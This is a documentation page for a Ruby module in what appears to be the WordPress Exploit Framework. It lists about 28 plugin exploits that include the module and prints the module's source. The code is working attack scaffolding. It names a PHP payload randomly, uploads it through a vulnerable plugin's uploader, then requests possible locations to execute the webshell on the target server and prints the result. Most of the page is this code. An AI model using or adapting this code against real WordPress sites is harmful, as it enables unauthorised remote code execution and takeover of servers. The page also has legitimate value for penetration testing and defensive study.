Module: Wpxf::WordPress::ShellUpload

Includes:
Wpxf
Included in:
Exploit::AccessPressAnonymousPostProShellUpload, Exploit::AcfFrontendDisplayShellUpload, Exploit::AdblockBlockerShellUpload, Exploit::DeleteAllCommentsShellUpload, Exploit::DesignfolioPlusShellUpload, Exploit::EstatikV225ShellUpload, Exploit::FastImageAdderV11RfiShellUpload, Exploit::FlickrPictureBackupRfiShellUpload, Exploit::FrontEndFileUploadAndManagerShellUpload, Exploit::GravityFormsV1819ShellUpload, Exploit::MailcwpUnauthenticatedShellUpload, Exploit::MobileAppNativeV3ShellUpload, Exploit::NMediaWebsiteContactFormV19ShellUpload, Exploit::NeosenseShellUpload, Exploit::NinjaFormsUnauthenticatedShellUpload, Exploit::TevolutionShellUpload, Exploit::UltimateProductCatalogueShellUpload, Exploit::WPSupportPlusResponsiveTicketSystemShellUpload, Exploit::WindowsDesktopAndIphonePhotoUploaderShellUpload, Exploit::WoocommerceAmazonAffiliatesV8ShellUpload, Exploit::WoocommerceProductAddonsShellUpload, Exploit::WorkTheFlowShellUpload, Exploit::WpFrontEndRepositoryManagerShellUpload, Exploit::WpMarketplaceShellUpload, Exploit::WpMobileDetectorRfiShellUpload, Exploit::WpshopShellUpload, Exploit::WptouchAuthenticatedShellUpload, Exploit::WsecureLiteShellUpload
Defined in:
lib/wpxf/wordpress/shell_upload.rb

Overview

Provides reusable functionality for shell upload modules.

Instance Method Summary collapse

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Instance Method Details

#before_upload ⇒ Boolean

Called prior to preparing and uploading the payload.



67
68
69
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 67

def before_upload
  true
end

#execute_payload(payload_url) ⇒ HttpResponse

Execute the payload at the specified address.



116
117
118
119
120
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 116

def execute_payload(payload_url)
  res = execute_get_request(url: payload_url, cookie: @session_cookie)
  emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
  res
end

#expected_upload_response_code ⇒ Integer 



72
73
74
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 72

def expected_upload_response_code
  200
end

#initialize ⇒ Object

Initialize a new instance of Wpxf::WordPress::ShellUpload



8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 8

def initialize
  super

  @session_cookie = nil
  @upload_result = nil
  @payload_name = nil

  _update_info_without_validation(
    desc: %(
      This module exploits a file upload vulnerability
      which allows users to upload and execute PHP
      scripts in the context of the web server.
    )
  )

  register_advanced_options([
    IntegerOption.new(
      name: 'payload_name_length',
      desc: 'The number of characters to use when generating the payload name',
      required: true,
      default: rand(5..10),
      min: 1,
      max: 256
    )
  ])
end

#payload_body_builder ⇒ BodyBuilder 



51
52
53
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 51

def payload_body_builder
  nil
end

#payload_name ⇒ String 



41
42
43
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 41

def payload_name
  @payload_name
end

#payload_name_extension ⇒ String 



82
83
84
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 82

def payload_name_extension
  'php'
end

#possible_payload_upload_locations ⇒ Array 



61
62
63
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 61

def possible_payload_upload_locations
  nil
end

#run ⇒ Boolean

Run the module.



88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 88

def run
  return false unless super
  return false unless before_upload

  emit_info 'Preparing payload...'
  @payload_name = "#{Utility::Text.rand_alpha(_payload_name_length)}.#{payload_name_extension}"
  builder = payload_body_builder
  return false unless builder

  emit_info 'Uploading payload...'
  return false unless _upload_payload(builder)

  emit_info 'Executing the payload...'
  _validate_and_prepare_upload_locations.each do |payload_url|
    break if execute_payload(payload_url)&.code != 404
  end

  true
end

#timestamp_range_adjustment_value ⇒ Integer 



123
124
125
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 123

def timestamp_range_adjustment_value
  10
end

#upload_request_params ⇒ Hash 



77
78
79
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 77

def upload_request_params
  nil
end

#upload_result ⇒ HttpResponse? 



36
37
38
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 36

def upload_result
  @upload_result
end

#upload_timestamp_range ⇒ Array 



128
129
130
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 128

def upload_timestamp_range
  (@start_timestamp - timestamp_range_adjustment_value)..(@end_timestamp + timestamp_range_adjustment_value)
end

#uploaded_payload_location ⇒ String 



56
57
58
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 56

def uploaded_payload_location
  nil
end

#uploader_url ⇒ String 



46
47
48
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 46

def uploader_url
  nil
end

#validate_upload_result ⇒ Boolean 



109
110
111
 
# File 'lib/wpxf/wordpress/shell_upload.rb', line 109

def validate_upload_result
  true
end